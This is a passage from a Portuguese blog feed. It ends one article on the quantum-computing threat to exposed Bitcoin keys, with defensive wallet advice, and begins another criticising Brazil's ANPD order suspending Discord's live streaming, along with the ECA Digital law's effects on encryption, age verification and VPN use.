<p>Seu dinheiro em cripto não mora no seu HD nem no seu Ledger. Ele mora na blockchain pública, à vista de todo mundo, o tempo todo. O dispositivo só guarda a chave privada que autoriza mover aquilo. Qualquer pessoa pode ir num explorador de blocos, digitar um endereço e ver o saldo. O que decide sua exposição ao quântico é uma coisa só: <strong>a sua chave pública já apareceu em algum lugar?</strong></p>
<p>Nos endereços modernos do Bitcoin (os <code>bc1q</code>, que escondem a chave atrás de um hash), enquanto você <strong>nunca gastou</strong> daquele endereço, a chave pública não está exposta. O atacante quântico não tem por onde começar, porque ele quebra a chave pública, e ela não está lá. Esses fundos estão seguros em repouso.</p>
<p>A exposição só nasce no momento em que você gasta, e mesmo aí é uma janela de minutos, contra um relógio de bloco, precisando da tal máquina de relógio rápido que ainda não existe.</p>
<p>Vale o cuidado com a palavra: &ldquo;resistente ao quântico&rdquo; é grande demais pra esses endereços. O que eles oferecem é proteção em repouso, válida enquanto a chave fica escondida atrás do hash. No dia em que você gasta, a chave pública vai pro bloco e abre a janela de gasto. A blindagem permanente vem mesmo com a migração pra assinatura pós-quântica; o hash só compra tempo até lá.</p>
<p>Por isso o paper fala em cerca de 6,9 milhões de BTC vulneráveis, de um total de quase 20 milhões. A maior fatia disso é chave reusada e os P2PK da era Satoshi, que provavelmente estão perdidos de qualquer jeito.</p>
<p>Isso se concentra num subconjunto de endereços com um comportamento específico, a chave exposta, enquanto o resto da rede segue de fora. Quem usa endereço novo a cada recebimento e não fica gastando do mesmo lugar já está, na prática, fora da mira em repouso.</p>
<blockquote>
  <p><strong>A cripto vulnerável é um subconjunto de endereços com um comportamento específico: chave já exposta. Carteira nova, sem reuso, fica de fora.</strong></p>

</blockquote>
<h2>O que você pode fazer hoje<span class="hx:absolute hx:-mt-20" id="o-que-você-pode-fazer-hoje"></span>
    <a href="#o-que-voc%c3%aa-pode-fazer-hoje" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui vem a pergunta que sempre aparece, e a resposta que decepciona quem esperava um botão mágico.</p>
<p><strong>&ldquo;Se eu criar uma carteira com uma senha/passphrase mais forte, isso ajuda?&rdquo;</strong> Não. E entender o porquê ensina o problema inteiro.</p>
<p>Uma passphrase forte protege a sua <em>seed</em> — aquelas 12 ou 24 palavras — contra alguém que tente adivinhar ou roubar o backup. É ótimo e você deve fazer, mas contra ataque clássico.</p>
<p>E cuidado pra não misturar os problemas: seed mal gerada é uma falha separada, do mundo clássico. Foi o que rolou no <a href="/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/">RNG fraco da Coinkite</a>, em que a própria ColdCard cuspia chaves previsíveis por entropia ruim na origem. Lá o defeito está em como a chave nasce; o quântico ataca a matemática da chave já pronta.</p>
<p>O computador quântico não adivinha sua seed. Ele pega a sua chave <strong>pública</strong>, que está na blockchain à vista, e calcula a chave privada correspondente com o Shor. Não importa se a sua chave privada nasceu de uma passphrase de 4 caracteres ou de 40: uma vez que a chave pública apareceu, a força da senha é irrelevante. O quântico ataca a matemática da curva, e essa matemática é a mesma pra todo mundo.</p>
<blockquote>
  <p><strong>O quântico não adivinha sua seed. Ele calcula sua chave privada a partir da chave pública que já está à vista. A força da senha não entra nessa conta.</strong></p>

</blockquote>
<p>O que de fato move o ponteiro é higiene de exposição de chave:</p>
<ul>
<li><strong>Não reuse endereços.</strong> Um endereço por recebimento. No momento em que você gasta de um endereço, a chave pública dele vai pra blockchain; se você continuar usando aquele endereço, o saldo restante passa a ficar exposto em repouso.</li>
<li><strong>Mantenha o grosso em endereços modernos que escondem a chave atrás de um hash</strong> (<code>bc1q</code>, P2WPKH) e dos quais você nunca gastou. Evite deixar reserva parada em Taproot (<code>bc1p</code>) e em endereços P2PK antigos, que expõem a chave direto.</li>
<li><strong>Não espalhe sua chave pública estendida (xpub).</strong> Ferramenta de portfólio, planilha compartilhada, integração de terceiro: cada lugar que recebe seu xpub é mais um ponto de exposição.</li>
<li><strong>Quando surgirem carteiras pós-quânticas de verdade, migre.</strong> Esse é o passo definitivo, e ele vai chegar via atualização de software.</li>
</ul>
<p>E o mais importante pra manter a cabeça no lugar: se você guarda em exchange séria ou usa carteira moderna sem reuso, o seu risco de curto prazo é praticamente zero. A exchange é quem vai ter que migrar por você (com os riscos de custódia que já existem, quânticos ou não). Não precisa sair correndo hoje mover nada em pânico.</p>
<h2>O que a indústria pode fazer, sem radicalismo<span class="hx:absolute hx:-mt-20" id="o-que-a-indústria-pode-fazer-sem-radicalismo"></span>
    <a href="#o-que-a-ind%c3%bastria-pode-fazer-sem-radicalismo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Do lado de quem constrói os protocolos, a tentação é o extremo: &ldquo;larga tudo e vai pra assinatura pós-quântica amanhã&rdquo;. Isso é tão ruim quanto o &ldquo;ignora que é FUD&rdquo;. A criptografia pós-quântica é mais nova, menos testada em batalha, tem chave e assinatura muito maiores, e trocar às cegas introduz bug novo onde não tinha. O caminho sensato é defesa em profundidade, começando pelo que é barato.</p>
<p><strong>Medidas intermediárias, mais fáceis que a troca completa:</strong></p>
<ul>
<li>Matar o reuso de chave e minimizar exposição de chave pública no protocolo e nas carteiras por padrão.</li>
<li>Mempools privados e esquemas de commit-reveal, que fecham a janela do ataque no gasto.</li>
<li>Rotação de chave de validador no Ethereum, um paliativo simples contra o ataque ao consenso.</li>
<li>No Bitcoin, propostas como a BIP-360 (o script P2MR), que remove a exposição de chave em repouso do Taproot.</li>
</ul>
<p><strong>A ponte de médio prazo:</strong> assinaturas híbridas, que combinam a curva elíptica de hoje com um esquema pós-quântico (baseado em reticulados, por exemplo). Você fica protegido contra os dois mundos ao custo de assinaturas maiores, e não aposta tudo num esquema novo que pode ter fraqueza ainda não descoberta.</p>
<p><strong>O terreno já está mais maduro do que parece.</strong> O NIST já padronizou esquemas pós-quânticos (ML-DSA, o antigo Dilithium; Falcon; SPHINCS+). O Ethereum discute precompiles pós-quânticos (EIP-7932) e abstração de conta, que reduzem a superfície sem hard fork traumático. Blockchains como Algorand, XRP Ledger e o QRL já experimentam ou nasceram com PQC. O trilho dessa migração já está assentado, longe de ser um salto no escuro.</p>
<p><strong>E o pedaço que ninguém resolveu:</strong> os assets dormentes. As moedas P2PK perdidas, incluindo o ~1 milhão de BTC atribuído ao Satoshi, não têm dono pra migrá-las.</p>
<p>O paper discute opções — não fazer nada, queimar as moedas por soft fork, um &ldquo;sidechain de recuperação&rdquo;, ou até salvamento regulado por governo, na analogia de tesouro afundado.</p>
<p>Aqui eu sou franco: <strong>essa parte é a mais fraca do paper. É opinião política vestida de conclusão técnica.</strong> Nada na estimativa de qubits diz quem deve ficar com moeda perdida, ou se ficar cinco anos parado extingue direito de propriedade.</p>
<p>São escolhas políticas e jurídicas espinhosas, que o paper levanta com honestidade mas está longe de fechar. É bom que a conversa comece; é ruim tratar como se houvesse resposta pronta.</p>
<blockquote>
  <p><strong>A parte de política sobre moedas perdidas é a mais fraca do paper: ali a ciência para e começa a opinião.</strong></p>

</blockquote>
<h2>Onde a gente está, afinal<span class="hx:absolute hx:-mt-20" id="onde-a-gente-está-afinal"></span>
    <a href="#onde-a-gente-est%c3%a1-afinal" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Resumindo o cenário quântico do futuro próximo em três camadas, com a régua sempre calibrada:</p>
<table>
  <thead>
      <tr>
          <th>Camada</th>
          <th>Situação</th>
          <th>Leitura</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Teórico</strong></td>
          <td>Shor quebra a secp256k1 se a máquina existir</td>
          <td>Certeza matemática; a pergunta é quando a máquina existe</td>
      </tr>
      <tr>
          <td><strong>Realidade hoje (2026)</strong></td>
          <td>~12 qubits lógicos (Quantinuum); ataque pede &gt;1.200</td>
          <td>Fator de ~100 em qubits lógicos, várias ordens de grandeza em físicos. Ninguém rouba nada hoje</td>
      </tr>
      <tr>
          <td><strong>Próximos 2–3 anos (~2029)</strong></td>
          <td>Fora de qualquer roteiro público sério</td>
          <td>Risco perto de zero</td>
      </tr>
      <tr>
          <td><strong>2030–2032</strong></td>
          <td>Máquina capaz <em>em princípio</em> começa a ser plausível</td>
          <td>Estimativa de ~10–20%; roubo real menor ainda, alvos migram antes</td>
      </tr>
      <tr>
          <td><strong>~2035</strong></td>
          <td>Coin flip pra um CRQC genérico (especialistas: ~40–50%)</td>
          <td>&ldquo;Existe máquina&rdquo; ≠ &ldquo;roubaram você&rdquo;; migração deve estar andada</td>
      </tr>
  </tbody>
</table>
<p>O paper é sério e a matemática dele está de pé, agora confirmada por reprodução aberta e independente. A ameaça é real o suficiente pra justificar ação, e o motivo tem nome: o teorema do Mosca. Como migrar leva anos, você começa antes de a máquina existir, do mesmo jeito que se troca telhado antes do temporal, com tempo bom.</p>
<p>Mas nada nisso é &ldquo;vende tudo, o Bitcoin acabou&rdquo;. O ataque é sobre chave exposta, é um subconjunto de endereços, precisa de uma máquina que está a ordens de grandeza de existir, e as defesas que importam agora são higiene chata: não reusar endereço, não deixar reserva em chave exposta, e migrar pra pós-quântico quando a ferramenta amadurecer.</p>
<p>A mineração não corre risco, a sua carteira moderna sem reuso não corre risco hoje, e a passphrase mais forte do mundo não muda nada disso.</p>
<p>O jeito de ler o paper do Google é esse: um alerta competente e autoconsciente, feito por quem entende do assunto, dizendo que a janela pra migrar com calma é mais estreita do que a intuição sugere — e ainda assim mais larga do que a manchete faz parecer. <a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener">Leia direto na fonte</a> e tire a sua. Só não caia nem no &ldquo;acabou&rdquo; nem no &ldquo;é tudo mentira&rdquo;. A resposta interessante, como quase sempre, mora no meio.</p>
]]></content:encoded><category>computacao-quantica</category><category>bitcoin-e-criptomoedas</category><category>seguranca</category></item><item><title>Entendendo a censura ao Discord e a ECA digital</title><link>https://akitaonrails.github.io/2026/08/13/entendendo-a-censura-ao-discord-e-a-eca-digital/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/08/13/entendendo-a-censura-ao-discord-e-a-eca-digital/</guid><pubDate>Thu, 13 Aug 2026 11:00:00 -0300</pubDate><description>&lt;p&gt;Em seis dias, o Brasil saiu de uma tragédia para um precedente regulatório que deveria preocupar qualquer pessoa que entende de tecnologia. No dia 22 de julho, uma adolescente de 13 anos morreu em Naviraí, Mato Grosso do Sul, durante uma transmissão ao vivo no Discord, coagida por um grupo que a polícia investiga como organização criminosa. No dia 12 de agosto, a ANPD ordenou que o Discord suspendesse as transmissões ao vivo no país inteiro.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Em seis dias, o Brasil saiu de uma tragédia para um precedente regulatório que deveria preocupar qualquer pessoa que entende de tecnologia. No dia 22 de julho, uma adolescente de 13 anos morreu em Naviraí, Mato Grosso do Sul, durante uma transmissão ao vivo no Discord, coagida por um grupo que a polícia investiga como organização criminosa. No dia 12 de agosto, a ANPD ordenou que o Discord suspendesse as transmissões ao vivo no país inteiro.</p>
<p>Entre um ponto e outro: a primeira-dama pedindo bloqueio da plataforma em cerimônia oficial, a AGU anunciando ação civil pública, e a primeira grande fiscalização da história da ECA Digital. Vamos por partes, porque o diabo mora exatamente nas partes.</p>
<h2>O caso de Naviraí<span class="hx:absolute hx:-mt-20" id="o-caso-de-naviraí"></span>
    <a href="#o-caso-de-navira%c3%ad" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Os fatos, conforme a <a href="https://g1.globo.com/politica/noticia/2026/08/04/policia-faz-operacao-contra-suspeitos-de-induzir-adolescente-a-tirar-a-propria-vida-e-transmitir-em-rede-social.ghtml"target="_blank" rel="noopener">Polícia Civil do MS e o G1</a>: Lívia, 13 anos, foi encontrada morta na manhã de 22 de julho no quintal de casa. Ela tirou a própria vida durante uma transmissão no Go Live, o recurso de vídeo ao vivo do Discord, sob pressão, humilhação e incentivo explícito de outros usuários. <strong>Mais de 200 pessoas</strong> assistiam.</p>
<p>A <a href="https://www.enfoquems.com.br/operacao-livia-combate-grupo-neonazista-que-coagiu-adolescente-ao-suicidio-em-navirai/"target="_blank" rel="noopener">Operação Lívia</a>, deflagrada em 4 de agosto com mandados em cinco estados, revelou o que havia por trás: um grupo composto majoritariamente por adolescentes — o líder investigado tem 14 anos — que recrutava menores via Discord <strong>e Telegram</strong>, espalhava conteúdo neonazista e misógino, e é investigado por homicídio qualificado e organização criminosa. Uma segunda menina foi induzida a se automutilar na mesma live, mas saiu da transmissão.</p>
<p>Guarde dois detalhes pra depois: o grupo operava em mais de uma plataforma, e o Ministério da Justiça <a href="https://g1.globo.com/politica/noticia/2026/08/04/policia-faz-operacao-contra-suspeitos-de-induzir-adolescente-a-tirar-a-propria-vida-e-transmitir-em-rede-social.ghtml"target="_blank" rel="noopener">pediu à ANPD que investigasse Discord e Telegram</a>. Só um dos dois foi sancionado.</p>
<h2>Da primeira-dama à ANPD em seis dias<span class="hx:absolute hx:-mt-20" id="da-primeira-dama-à-anpd-em-seis-dias"></span>
    <a href="#da-primeira-dama-%c3%a0-anpd-em-seis-dias" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No dia 6 de agosto, na cerimônia de sanção do <a href="https://www.camara.leg.br/proposicoesWeb/fichadetramitacao?idProposicao=2528433"target="_blank" rel="noopener">PL 3066/2025</a> (que endurece penas pra crimes digitais contra crianças — guarda esse projeto, que ele volta daqui a pouco), a primeira-dama Janja da Silva <a href="https://www1.folha.uol.com.br/cotidiano/2026/08/janja-chama-discord-de-rede-horrorosa-apos-caso-de-suicidio-ao-vivo-e-pede-seu-bloqueio-no-brasil.shtml"target="_blank" rel="noopener">não deixou margem pra dúvida</a>: <em>&ldquo;a gente precisa bloquear o Discord no Brasil de qualquer forma&hellip; a gente precisa atuar junto ao Judiciário para tirar essa rede horrorosa do ar&rdquo;</em>. O advogado-geral da União, Jorge Messias, anunciou ali mesmo uma ação civil pública pra tirar a plataforma do ar.</p>
<p>No dia 7, a ANPD <a href="https://www.gov.br/anpd/pt-br/assuntos/noticias/anpd-instaura-processo-de-fiscalizacao-contra-o-discord-para-apurar-falhas-na-protecao-de-criancas-e-adolescentes"target="_blank" rel="noopener">abriu processo de fiscalização contra o Discord</a>, com cinco dias úteis pra empresa se explicar. No dia 12, <a href="https://www.gov.br/anpd/pt-br/assuntos/noticias/em-medida-preventiva-anpd-determina-que-discord-suspenda-transmissoes-ao-vivo-no-brasil"target="_blank" rel="noopener">a medida preventiva saiu</a>: o Discord deve suspender o Go Live e recursos equivalentes de compartilhamento de vídeo no Brasil em <strong>três dias úteis</strong>, e só religa quando provar medidas eficazes de proteção infantil e obtiver autorização expressa da ANPD. A base legal: artigos 6º, 10, 17, 28 e 29 da ECA Digital, com multas de até <strong>R$ 50 milhões</strong> por infração (art. 35).</p>
<p>O Discord <a href="https://www.meioemensagem.com.br/midia/anpd-suspende-transmissoes-ao-vivo-do-discord-no-brasil"target="_blank" rel="noopener">chamou a medida de &ldquo;prematura&rdquo;</a>: recebeu o processo na sexta-feira, ainda estava dentro do prazo de resposta, e afirma que removeu o servidor privado onde o crime aconteceu. E soltou a frase mais interessante de toda a resposta: sua investigação interna encontrou evidências de que <em>&ldquo;a atividade criminosa foi coordenada em outras plataformas antes da criação do servidor no Discord e continuou nelas depois&rdquo;</em>.</p>
<p>Sobre isso, um esclarecimento necessário. Circulou a versão de que o caso teria se originado no Instagram. Fui checar e não encontrei nenhuma fonte que confirme: a plataforma citada pela polícia, além do Discord, é o Telegram. O Discord não nomeia as &ldquo;outras plataformas&rdquo;. O que importa continua de pé, só que com outro nome no lugar: o caso <strong>não era exclusivo do Discord</strong>, o Ministério da Justiça pediu investigação de duas plataformas, e só o Discord tomou a sanção. O Telegram, que sequer tem representação legal robusta no Brasil, segue intocado.</p>
<p>E aqui aparece a primeira pergunta incômoda: se o problema é sistêmico, por que a sanção é cirúrgica?</p>
<h2>O que é a ECA Digital, a &ldquo;Lei Felca&rdquo;<span class="hx:absolute hx:-mt-20" id="o-que-é-a-eca-digital-a-lei-felca"></span>
    <a href="#o-que-%c3%a9-a-eca-digital-a-lei-felca" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A sanção só foi possível por causa de uma lei novinha em folha. Em agosto de 2025, o YouTuber Felca publicou o vídeo <em>&ldquo;Adultização&rdquo;</em>, expondo perfis que monetizavam conteúdo sexualizado com menores — o caso mais chocante sendo o do influenciador Hytalo Santos, <a href="https://www.poder360.com.br/poder-justica/hytalo-santos-e-marido-sao-condenados-por-exploracao-de-menores/"target="_blank" rel="noopener">preso naquele mês e condenado em fevereiro de 2026</a> a mais de 11 anos de prisão. O vídeo passou de 30 milhões de views, o Senado abriu uma CPI, e o Congresso <a href="https://gcaa.com.br/eca-digital-e-sancionado-comentarios-sobre-marco-regulatorio-de-protecao-de-criancas-e-adolescentes-em-ambientes-digitais/"target="_blank" rel="noopener">correu pra aprovar em regime de urgência</a> o PL 2628/2022, do senador Alessandro Vieira.</p>
<p>Resultado: a <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2025/lei/l15211.htm"target="_blank" rel="noopener">Lei 15.211, de 17 de setembro de 2025</a>, o Estatuto Digital da Criança e do Adolescente, em vigor desde 17 de março de 2026. Os pontos que importam pra esta discussão:</p>
<ul>
<li><strong>Dever de cuidado</strong> (art. 6º): plataformas devem tomar <em>&ldquo;medidas razoáveis desde a concepção&rdquo;</em> pra prevenir exposição de menores a exploração sexual, violência e indução a autolesão e suicídio.</li>
<li><strong>Verificação de idade</strong> (art. 9º, §1º): <em>&ldquo;mecanismos confiáveis de verificação de idade a cada acesso&rdquo;</em>, com uma frase de efeito devastador: <strong>&ldquo;vedada a autodeclaração&rdquo;</strong>.</li>
<li><strong>Notificação e remoção</strong> (art. 29): dever de retirar conteúdo que viole direitos de crianças assim que comunicados, <strong>independentemente de ordem judicial</strong>.</li>
<li><strong>Fiscalizador</strong>: a ANPD, que acumulou o cargo com a LGPD e, desde maio de 2026, com deveres do Marco Civil da Internet. Virou o regulador digital de fato do país.</li>
<li><strong>Multas</strong> de até 10% do faturamento no Brasil, limitadas a R$ 50 milhões por infração. Suspensão de atividades, no papel, <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2025/lei/l15211.htm"target="_blank" rel="noopener">só pelo Judiciário</a> (art. 35, §5º).</li>
</ul>
<p>Esse último ponto já está em disputa: <a href="https://www1.folha.uol.com.br/cotidiano/2026/08/anpd-tem-poder-para-fiscalizar-discord-mas-competencias-ainda-sao-discutiveis-dizem-especialistas.shtml"target="_blank" rel="noopener">especialistas ouvidos pela Folha</a> apontam que a &ldquo;medida preventiva&rdquo; da ANPD pode ser, na prática, uma suspensão temporária de atividades — sanção que a lei reserva ao Judiciário. Mal nasceu, a regulação já flerta com a própria ilegalidade.</p>
<p>Vale lembrar o contexto maior: em junho de 2025 o STF <a href="https://www.conjur.com.br/2025-jun-11/stf-forma-maioria-por-responsabilizacao-de-big-techs-por-publicacoes-de-usuarios/"target="_blank" rel="noopener">derrubou parcialmente o art. 19 do Marco Civil</a>, acabando com a exigência de ordem judicial específica pra responsabilizar plataformas. Em junho de 2026 o mesmo tribunal <a href="https://www.cnnbrasil.com.br/politica/stf-exige-representante-de-big-techs-no-brasil-e-da-60-dias-para-adaptacao/"target="_blank" rel="noopener">consolidou um &ldquo;dever de cuidado&rdquo;</a> com categorias de remoção imediata, incluindo indução a suicídio e crimes graves contra crianças. A ECA Digital legisla nessa direção. Em um ano, a responsabilidade das plataformas no Brasil deixou de ser reativa e virou proativa.</p>
<h2>O oximoro: &ldquo;pode criptografar, desde que a gente possa ler&rdquo;<span class="hx:absolute hx:-mt-20" id="o-oximoro-pode-criptografar-desde-que-a-gente-possa-ler"></span>
    <a href="#o-oximoro-pode-criptografar-desde-que-a-gente-possa-ler" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora o miolo, que é o que me motivou a escrever. A justificativa oficial da ANPD pra suspender o Go Live merece ser lida com atenção: a arquitetura do Discord usa criptografia de ponta a ponta, <strong>a plataforma não tem acesso ao conteúdo das transmissões ao vivo</strong>, e portanto a moderação em tempo real é impossível. Na avaliação da ANPD, se a moderação depende de sistemas automatizados falhos e da denúncia de quem está na sala onde o crime acontece, o recurso é incompatível com a lei.</p>
<p>Leia de novo, devagar. A ANPD não proibiu criptografia — uma proibição direta seria indefensável em público. Ela disse outra coisa, muito mais engenhosa: você pode ter criptografia de ponta a ponta, desde que consiga monitorar o conteúdo pra cumprir os deveres legais.</p>
<p>Só que isso é um oximoro. O propósito inteiro da criptografia de ponta a ponta é que o servidor transporta texto cifrado e não tem como ler. Pra &ldquo;monitorar o conteúdo&rdquo;, esse conteúdo precisa chegar aberto aos servidores — e aí não é mais ponta a ponta. Não existe terceira opção: ou é ilegível pra plataforma, ou é legível. A ANPD não criminalizou a criptografia; ela apenas tornou impossível oferecer criptografia de verdade e operar no Brasil ao mesmo tempo. Tecnicamente errado dizer que &ldquo;proibiram criptografia&rdquo;. Funcionalmente, é exatamente o que aconteceu.</p>
<p>E não sou eu quem está dizendo. O Carlos Affonso Souza, diretor do ITS Rio, <a href="https://www.cnnbrasil.com.br/politica/discord-anpd-cria-precedente-perigoso-sobre-criptografia-diz-especialista/"target="_blank" rel="noopener">disse à CNN Brasil</a> que é a primeira vez que a ANPD trata criptografia de ponta a ponta como obstáculo regulatório, um precedente perigoso comparável aos bloqueios do WhatsApp — e que os criminosos simplesmente migram pra plataformas menos cooperativas e sem representação no país (alguém disse Telegram?).</p>
<p>Pra ser justo com o debate: o texto da lei não menciona criptografia uma única vez, e o art. 34, §1º <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2025/lei/l15211.htm"target="_blank" rel="noopener">proíbe expressamente</a> <em>&ldquo;mecanismos de vigilância massiva, genérica ou indiscriminada&rdquo;</em>. Os checadores <a href="https://www.boatos.org/tecnologia/ia-tera-acesso-a-todas-conversas-do-whatsapp-a-partir-de-hoje.html"target="_blank" rel="noopener">derrubaram os boatos</a> de que a ECA Digital leria seu WhatsApp. Tudo isso é verdade — e tudo isso é sobre o papel. Na prática, a primeira fiscalização grande da história da lei tratou a impossibilidade técnica de vigiar como fundamento pra derrubar um recurso. O papel aceita tudo; a caneta da fiscalização é que escreve o direito real.</p>
<p>E tem ganchos na letra da lei esperando pra serem usados: o art. 18, III exige que ferramentas de controle parental permitam <em>&ldquo;identificar os perfis de adultos com os quais a criança ou o adolescente se comunica&rdquo;</em> — me explica como um mensageiro criptografado de ponta a ponta cumpre isso. O art. 27 manda <em>&ldquo;remover e comunicar&rdquo;</em> conteúdo de abuso <em>&ldquo;detectado&rdquo;</em> direta ou indiretamente — e detectar pressupõe ver. Nenhum dos dois foi usado ainda. O precedente do Go Live mostra como serão lidos quando forem.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> a ANPD não proibiu criptografia. Proibiu um recurso cuja criptografia impede a vigilância do conteúdo. O efeito prático é idêntico: no Brasil, criptografia de ponta a ponta agora é um risco regulatório.</p>

</blockquote>
<h2>ECA Digital contra LGPD<span class="hx:absolute hx:-mt-20" id="eca-digital-contra-lgpd"></span>
    <a href="#eca-digital-contra-lgpd" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A ironia maior é institucional. Em 2018 aprovamos a LGPD pra proteger os dados pessoais do brasileiro, construída sobre princípios como minimização (colete só o necessário) e finalidade (use só pro que foi coletado). A ECA Digital, aplicada pela mesma agência, empurra na direção oposta.</p>
<p>A verificação de idade é o exemplo cristalino. <em>&ldquo;Vedada a autodeclaração&rdquo;</em> significa que todo usuário — adulto inclusive — vai precisar provar a idade pra acessar serviços comuns. Provar como? Documento, biometria facial, credencial verificável. A <a href="https://www.gazetadopovo.com.br/vida-e-cidadania/verificacao-etaria-do-eca-digital-poe-em-risco-privacidade-de-dados/"target="_blank" rel="noopener">Gazeta do Povo ouviu especialistas</a> que alertam pro óbvio: estamos construindo uma infraestrutura permanente de identificação de toda a população na internet, com dados biométricos que, uma vez vazados, não têm como trocar — você troca de senha, não troca de cara.</p>
<p>E não é teoria. Uma <a href="https://convergenciadigital.com.br/governo/inutil-e-perigoso-cientistas-alertam-contra-sistemas-de-verificacao-de-idade-na-internet/"target="_blank" rel="noopener">carta aberta assinada por 438 cientistas de 32 países</a> chama esses sistemas de &ldquo;inúteis e perigosos&rdquo;: fáceis de burlar com VPN e deepfake, enviesados contra minorias. E cita o exemplo perfeito — o próprio Discord, que <a href="https://convergenciadigital.com.br/governo/inutil-e-perigoso-cientistas-alertam-contra-sistemas-de-verificacao-de-idade-na-internet/"target="_blank" rel="noopener">vazou fotos de documentos de ~70 mil usuários</a> justamente por causa de verificação de idade terceirizada. A plataforma que a ANPD pune por não vigiar é a mesma que provou, na prática, o custo de coletar.</p>
<p>A lei tem salvaguardas no papel — o art. 13 limita o uso dos dados de verificação <em>&ldquo;unicamente para essa finalidade&rdquo;</em>, o art. 12 fala em minimização. Mas note o conflito de interesses estrutural: a ANPD acumula três mandatos — LGPD, ECA Digital e Marco Civil. <strong>A agência que deveria defender a minimização dos seus dados é a mesma que agora exige que você os entregue.</strong> Quando os dois papéis colidirem dentro do mesmo órgão, qual deles você acha que vence?</p>
<h2>A outra lei do dia 6: usar VPN agora pesa na pena<span class="hx:absolute hx:-mt-20" id="a-outra-lei-do-dia-6-usar-vpn-agora-pesa-na-pena"></span>
    <a href="#a-outra-lei-do-dia-6-usar-vpn-agora-pesa-na-pena" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Lembra que a cerimônia em que a primeira-dama pediu o bloqueio era a sanção de outra lei? Vale olhar o que mais foi sancionado naquele dia, porque tem um artigo do PL 3066/2025 que passou quase despercebido fora da bolha técnica: o <strong>art. 226-A</strong>, que <a href="https://agenciagov.ebc.com.br/noticias/202608/sancionada-lei-que-atualiza-o-eca-e-que-define-e-pune-crimes-sexuais-no-mundo-digital"target="_blank" rel="noopener">aumenta a pena de um terço a dois terços</a> pra crimes do ECA cometidos com uso de proxy, VPN ou qualquer técnica de mascaramento ou anonimização de IP.</p>
<p>O Ayub, que acompanha legislação digital há anos, <a href="https://x.com/ayubio/status/2058990595503509513"target="_blank" rel="noopener">soou o alarme ainda em maio</a>, quando a Câmara aprovou o texto: <em>&ldquo;prevê prisão para quem desenvolver ou fornecer serviço de VPN. Não foi falta de aviso meu.&rdquo;</em></p>
<p>Aqui vai uma precisão que importa, porque checar fonte é o que separa análise de pânico. A redação <strong>original</strong> do deputado Osmar Terra criminalizava mesmo quem desenvolve, distribui ou comercializa programa de mascaramento de IP — na prática, tornava crime a profissão de desenvolvedor de VPN. Mas o projeto passou por um grupo de trabalho técnico que ouviu Polícia Federal, Ministério Público, Safernet e as próprias plataformas, e a relatora final, deputada Rogéria Santos, <a href="https://iclnoticias.com.br/projeto-contra-pedofila-quase/"target="_blank" rel="noopener">retirou a criminalização do desenvolvimento</a> e manteve só a majorante, com salvaguarda expressa pro uso lícito. O tweet do Ayub descreve o projeto que entrou na Câmara, não a lei que saiu. O aviso dele, porém, capturou o rumo — e o rumo se cumpriu.</p>
<p>Porque o que sobrou já é bastante coisa. A <a href="https://isoc.org.br/noticia/isoc-e-isoc-brasil-pedem-rejeicao-do-art-226-a-do-pl-3066-2025"target="_blank" rel="noopener">ISOC Brasil apontou</a> que a majorante coloca o uso de VPN no mesmo patamar penal da majoração de roubo com arma de fogo. E uma <a href="https://teletime.com.br/06/07/2026/vpn-senado-entidaddes/"target="_blank" rel="noopener">carta aberta ao Senado</a>, assinada por EFF, Projeto Tor, Artigo 19, Data Privacy Brasil e mais meia dúzia de entidades, explicou o óbvio pra quem é da área: proxy e VPN são infraestrutura padrão de segurança corporativa, recomendados por normas internacionais como a ISO/IEC 27001; anonimização de identificadores é função nativa de navegadores como Firefox e Brave; e sua empresa provavelmente te <strong>obriga</strong> a usar VPN pra trabalhar de casa. O Senado não acolheu. No dia 6 de agosto, o artigo virou lei — na tal cerimônia.</p>
<p>A frase da carta que deveria assombrar qualquer legislador: <em>&ldquo;precedentes jurídicos raramente permanecem restritos à hipótese que justificou sua criação&rdquo;</em>. Na formulação da carta, é a <strong>primeira vez</strong> que o direito penal brasileiro trata uma tecnologia neutra de segurança como, por si só, motivo de pena mais grave. Hoje a hipótese é crime contra criança — aquela que ninguém ousa questionar em público, e os autores do projeto sabiam disso. Amanhã é qualquer crime. O próximo deputado que quiser agravar furto &ldquo;mediante uso de VPN&rdquo; já tem o precedente pronto, votado e sancionado.</p>
<p>E repare na engenhosidade, igualzinha à da criptografia: ninguém proibiu VPN — uma proibição direta seria indefensável. Apenas se criou o mecanismo pra tratar usuário de VPN como suspeito qualificado. Pensa na execução: pra aplicar a salvaguarda do &ldquo;uso lícito&rdquo;, o Estado precisa primeiro saber que você usa VPN e depois determinar se o seu uso era lícito. Ou seja, todo usuário de ferramenta de privacidade vira, por padrão, objeto potencial de verificação. A salvaguarda não protege o usuário — autoriza a fiscalização dele.</p>
<p>E tem a ironia fina pra fechar: a carta dos 438 cientistas que mencionei na seção anterior alerta que verificação de idade se burla com VPN. A resposta do legislador brasileiro não foi repensar a verificação de idade. Foi deixar a VPN meio criminalizada. O cerco se fecha pelos dois lados, sempre com a mesma plaquinha de boa intenção pregada em cima.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> ninguém proibiu VPN no Brasil. Criou-se algo mais sutil: o primeiro precedente penal em que usar uma ferramenta neutra de privacidade pesa contra você. Hoje agrava crime contra criança. O precedente, esse, não tem dono.</p>

</blockquote>
<h2>E os criminosos de verdade?<span class="hx:absolute hx:-mt-20" id="e-os-criminosos-de-verdade"></span>
